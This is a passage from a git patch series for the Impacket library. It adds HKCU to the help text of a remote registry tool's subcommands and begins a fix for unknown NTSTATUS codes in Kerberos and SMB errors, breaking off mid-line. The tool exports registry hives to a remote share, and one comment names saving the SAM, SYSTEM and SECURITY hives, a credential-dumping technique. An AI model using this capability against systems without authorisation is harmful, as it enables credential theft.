HKCR.') query_parser.add_argument('-v', action='store', metavar="VALUENAME", required=False, help='Specifies the registry ' 'value name that is to be queried. If omitted, all value names for keyName are returned. ') query_parser.add_argument('-ve', action='store_true', default=False, required=False, help='Queries for the default ' @@ -533,7 +547,7 @@ def __parse_lp_data(valueType, valueData): add_parser.add_argument('-keyName', action='store', required=True, help='Specifies the full path of the subkey. The ' 'keyName must include a valid root key. Valid root keys for the local computer are: HKLM,' - ' HKU, HKCR.') + ' HKU, HKCU, HKCR.') add_parser.add_argument('-v', action='store', metavar="VALUENAME", required=False, help='Specifies the registry ' 'value name that is to be set.') add_parser.add_argument('-vt', action='store', metavar="VALUETYPE", required=False, help='Specifies the registry ' @@ -548,7 +562,7 @@ def __parse_lp_data(valueType, valueData): delete_parser.add_argument('-keyName', action='store', required=True, help='Specifies the full path of the subkey. The ' 'keyName must include a valid root key. Valid root keys for the local computer are: HKLM,' - ' HKU, HKCR.') + ' HKU, HKCU, HKCR.') delete_parser.add_argument('-v', action='store', metavar="VALUENAME", required=False, help='Specifies the registry ' 'value name that is to be deleted.') delete_parser.add_argument('-va', action='store_true', required=False, help='Delete all values under this key.') @@ -564,7 +578,7 @@ def __parse_lp_data(valueType, valueData): save_parser.add_argument('-keyName', action='store', required=True, help='Specifies the full path of the subkey. The ' 'keyName must include a valid root key. Valid root keys for the local computer are: HKLM,' - ' HKU, HKCR.') + ' HKU, HKCU, HKCR.') save_parser.add_argument('-o', dest='outputPath', action='store', metavar='\\\\192.168.0.2\share', required=True, help='Output UNC path the target system must export the registry saves to') # A special backup command to save HKLM\SAM, HKLM\SYSTEM and HKLM\SECURITY From 33058eb2fde6976ea62e04bc7d6b629d64d44712 Mon Sep 17 00:00:00 2001 From: Lucas Vater <71081185+rtpt-lucasvater@users.noreply.github.com> Date: Wed, 8 Nov 2023 17:08:28 +0100 Subject: [PATCH 13/13] Handle unknown NTSTATUS in SessionError (#1311) * Handle unknown NTSTATUS in SessionError * Handle unknown NTSTATUS in other places --- impacket/krb5/kerberosv5.py | 10 ++++++++-- impacket/smb.py | 8 +++++++- impacket/smbconnection.py | 11 +++++++---- 3 files changed, 22 insertions(+), 7 deletions(-) diff --git a/impacket/krb5/kerberosv5.py b/impacket/krb5/kerberosv5.py index 7821fdf77e..d81af85904 100644 --- a/impacket/krb5/kerberosv5.py +++ b/impacket/krb5/kerberosv5.py @@ -712,7 +712,7 @@ def getErrorPacket( self ): return self.packet def getErrorString( self ): - return constants.ERROR_MESSAGES[self.error] + return str(self) def __str__( self ): retString = 'Kerberos SessionError: %s(%s)' % (constants.ERROR_MESSAGES[self.error]) @@ -721,7 +721,13 @@ def __str__( self ): if self.error == constants.ErrorCodes.KRB_ERR_GENERIC.value: eData = decoder.decode(self.packet['e-data'], asn1Spec = KERB_ERROR_DATA())[0] nt_error = struct.unpack('